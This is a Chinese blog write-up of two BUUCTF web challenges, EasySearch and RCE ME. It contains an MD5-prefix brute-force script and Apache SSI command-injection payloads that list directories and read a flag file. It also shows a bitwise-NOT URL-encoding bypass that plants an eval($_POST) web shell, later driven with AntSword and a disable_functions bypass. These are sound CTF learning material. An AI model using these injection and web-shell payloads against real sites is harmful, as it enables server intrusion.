BUUCTF(17)

151 阅读3分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第14天,点击查看活动详情

[BJDCTF2020]EasySearch

diserch扫一下目录,发现源码网址

index.php.swp

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

可以看到源码说,密码的前六位的加密值要与admin的值相等即为6d0bc1

接着再public目录下生成一个.shtml后缀的文件,并且把post传的username的值传进去

用一下大佬写的脚本

import hashlib
import threading
string = '0123456789'
class BF(threading.Thread):
    def __init__(self,left,right):
        threading.Thread.__init__(self) #父类的构造方法
        self.left = left
        self.right = right
    def run(self):
        admin = '6d0bc1'
        for i in range(self.left,self.right):
            s = hashlib.md5(str(i).encode('utf-8')).hexdigest()
            if s[:6] == admin:
                print i
threads = []
thread_count = 5
for i in range(thread_count):
    threads.append(BF(i*2000000, (i+1)*2000000))
for t in threads:
    t.start()
for t in threads:
    t.join()

C:\Users\XINO\AppData\Local\Programs\Python\Python39\python.exe "C:/Users/XINO/Desktop/新建文件夹 (7)/11111.py"

2020666

2305004

9162671

应该都是可以的,于是我们进行一下登录

进去后啥都没有,F12随便找找

Url_is_here public/342c8b6ba61e61c5532a9ac9bb513aab94c5bf2e.shtml

于是我们访问一下,进去之后就是一个页面F12里也没啥,到这就不会了,看大佬WP

考点APache ssi远程命令执行漏洞

贴一个普及的博客

www.cnblogs.com/yuzly/p/112…

于是我们现在尝试怎么利用漏洞,由于该漏洞利用的也是命令执行,所以我们要找到一个输入点

之前看源码发现有username可以输入

<!--#exec cmd="whoami"-->

注意是先在index传,在访问指定的url

看目录

<!--#exec cmd="ls"-->

Hello,0161fc8dcbf1189a5f1881dd79c47f89a58f222c.shtml

2b88015534a75975d2f8f95ba084719b8274e017.shtml

3302438afa907b9aa614d73ad2694b92866b7c06.shtml

335b60ba403aeb21ad0d979bae80c57fd22f54e4.shtml

342c8b6ba61e61c5532a9ac9bb513aab94c5bf2e.shtml

43dcc2f755a6e2331b7a844945c4278b3596d145.shtml

462ad7b3f27588373c66be19b7743e24329fb62e.shtml

4832698852f8f52d76e7e6f1eb69ea7ca22aea74.shtml

4e7f05ec199f63667038ffdeddea53c2d2f639a9.shtml

4f670e0c9752c763b9390c5510cf5fd4130f492b.shtml

5984650723829d97142cb3824af29617b119333c.shtml

5be67cb14a7873f7db9bbbb85fa6bb63ec586ac1.shtml

5c18f23485bc4b4089a6b955ce97fbe63957e0d9.shtml

79e08579dc072805ad10e591e90033af8aa16ff0.shtml

7d18f0c4430d10af80a08d606750dfa831ea9443.shtml

84a8d94e808267e28ce8c8caf975c86f53d4cfaf.shtml

86919bd890c1e69dee60ebc985df7b2a353fc3e5.shtml

af5e03222c8251c2ebbbd9a24f18e88fbe38e69b.shtml

c28ede2a2ff0e21643a1c6604cc2d1a216a48211.shtml

css

e094e1247c44f2212aa221bacbcedf8f393750ad.shtml

e320da6214cd5c8854a6656bcf0ca6223b223b57.shtml

全是些没用的东西,看看上级目录

<!--#exec cmd="ls ../"-->

发现flag文件后再

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

[极客大挑战 2019]RCE ME

这个题目先放源码

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}
// ?>

限制了长度,限制了字符数字标点符号

这里考虑url编码取反绕过

php -r "var_dump(urlencode(~'phpinfo'));"
#"%8F%97%8F%96%91%99%90"
payload: ?code=(~%8F%97%8F%96%91%99%90)();

然后成功查看php相关信息,到这就不会了

看wp

构造shell连蚁剑

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;
 ?>

本地测试发现可以

payload

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

之后测试发现是可以的

http://c97ce45c-ec73-4fe4-9185-694f4818de0e.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

所以我们直接尝试菜刀连接

链接地址

http://c97ce45c-ec73-4fe4-9185-694f4818de0e.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

我们连接后发现根目录会有flag,但是打不开很奇怪,然后还有个readflag

我猜测是执行readflag来获取flag

但之前字符都被过滤了,这要怎么搞搜索得知要绕过dis这个限制函数,可以利用上传权限来传exp,但我看蚁剑有带的,所以我们用现成的

选择PHP_GC_UAF模式

直接/readflag

出flag